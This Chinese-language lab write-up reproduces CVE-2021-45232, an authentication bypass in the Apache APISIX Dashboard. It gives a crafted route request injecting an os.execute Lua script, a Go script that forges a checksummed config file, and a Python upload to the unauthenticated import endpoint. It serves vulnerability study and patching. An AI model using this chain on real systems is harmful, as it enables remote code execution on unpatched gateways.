Apache APISIX是一个动态、实时、高性能的API网关。提供了丰富的流量管理功能,如负载均衡、动态上游、canary释放、断路、认证、可观察性等。也可以使用Apache APISIX来处理传统的南北向流量,以及服务之间的东西向流量。它也可以用作k8s的ingress控制器。
该漏洞的存在是由于 Manager API 中的错误。Manager API 在 gin 框架的基础上引入了 droplet 框架,所有的 API 和鉴权中间件都是基于 droplet 框架开发的。但是有些 API 直接使用了框架 gin 的接口,从而绕过身份验证。CVE编号为:CVE-2021-45232
未授权访问API:
/apisix/admin/migrate/export
/apisix/admin/migrate/import
Apache APISIX Dashboard < 2.10.1
git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/
修改docker-compose.yml:
apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine
很多文章只是修改了第一处,如果只修改第一处的话,则会因为对应的版本号对不上,而导致登录报错。
接着通过docker-compose搭建即可
漏洞环境搭建成功后,通过默认端口9000访问Web界面
其实如果没有未授权访问的话,也是可以先通过弱密码登录后台进行RCE的,接下来演示如何进入后台进行RCE。
首先创建一个上游服务
点击创建,名称可以随意命名,然后目标节点填的是我们转发请求的服务,这里我们填docker附带的Grafana应用,端口号为3000
点击下一步,提交即可。
接着再创建一个路由
名称随便起,然后路径也是可以自定义,点击下一步
选择我们刚才创建的上游服务
接下来,默认提交即可。
创建路由成功后,回到路由配置界面,点击配置按钮,直接点击下一步,到按下提交按钮时使用Burp抓包
然后添加一个script字段,如下:
PUT /apisix/admin/routes/389826569650045636 HTTP/1.1
Host: 172.21.1.158:9000
Content-Length: 197
Accept: application/json
Origin: http://172.21.1.158:9000
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDE4ODcyNzQsImlhdCI6MTY0MTg4MzY3NCwic3ViIjoiYWRtaW4ifQ.m63RB9tu28GHzwT0D_jGbAAmzLQ7FgMIvjr6ze-EtE0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: http://172.21.1.158:9000/routes/389826569650045636/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"uris":["/RCE123"],"methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"priority":0,"name":"A1LB1ue_route","status":1,"labels":{},"script": "os.execute('touch /tmp/Keepb1ue')","upstream_id":"389826160386638532"}
这里解释一下,这里URL后面routes/后的数字是来自创建的路由ID,而下面的upstream_id是来自创建的上游服务ID,需要自行对应。
Run之后,在看下配置:
接着我们访问一下:
http://172.21.1.158:9080/RCE123
访问后,再到docker中去查看是否创建了Keepb1ue这个文件进行验证
那如果没有默认密码或者弱密码的话,这时我们就利用未授权接口进行RCE了
/apisix/admin/migrate/export
/apisix/admin/migrate/import
这里我们需要知道这两个接口一个是用来导出配置文件,一个是用来导入配置文件的。
我们可以使用/apisix/admin/migrate/export
直接导出配置文件
我们可以尝试访问下,当然我们利用的是未授权接口,自然是不用登录
访问可以看到配置文件信息,这里仔细看,后面多出四个字节,这4个字节其实是配置文件的checksum值
在导入配置文件时,会对配置文件的checksum值进行校验,那这里其实是可以通过写脚本算出checksum校验值,或者是根据apisix的源码去计算出新的checksum值
源码位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig
函数
将其计算源码单独抽取出来
package main
import (
"encoding/binary"
"fmt"
"hash/crc32"
"io/ioutil"
"os"
)
func main() {
gen()
}
func gen() {
data := []byte(`{"Counsumers":[],"Routes":[{"id":"389828862525047492","create_time":1641885708,"update_time":1641885708,"uris":["/RCE123"],"name":"Keepb1ue_route","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('touch /tmp/A1LB1ue')","script_id":"389792240563651268","upstream_id":"389828818199642820","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"389828818199642820","create_time":1641885682,"update_time":1641885682,"nodes":[{"host":"172.21.1.158","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"upstream"}],"Scripts":[{"id":"389792240563651268","script":"os.execute('touch /tmp/A1LB1ue')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
checksumUint32 := crc32.ChecksumIEEE(data)
checksumLength := 4
checksum := make([]byte, checksumLength)
binary.BigEndian.PutUint32(checksum, checksumUint32)
fileBytes := append(data, checksum...)
content := fileBytes
fmt.Println(content)
importData := content[:len(content)-4]
checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
if checksum2 != crc32.ChecksumIEEE(importData) {
fmt.Println(checksum2)
fmt.Println(crc32.ChecksumIEEE(importData))
fmt.Println("Check sum check fail, maybe file broken")
return
}
err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
if err != nil {
fmt.Println("error!!")
return
}
}
将需要导入的配置进行替换,并插入RCE语句
接着运行这段脚本,会生成apisixPayload这个文件
这个就是我们要import上去的计算好校验值的新的配置文件,接下来使用python代码可以简单的传到服务端
import requests
url = "http://172.21.1.158:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)
很好,没有报校验值错误。
接下来访问路由地址即可命令执行成功。
http://172.21.1.158:9080/RCE123
更新到最新版本,新版本代理做了鉴权处理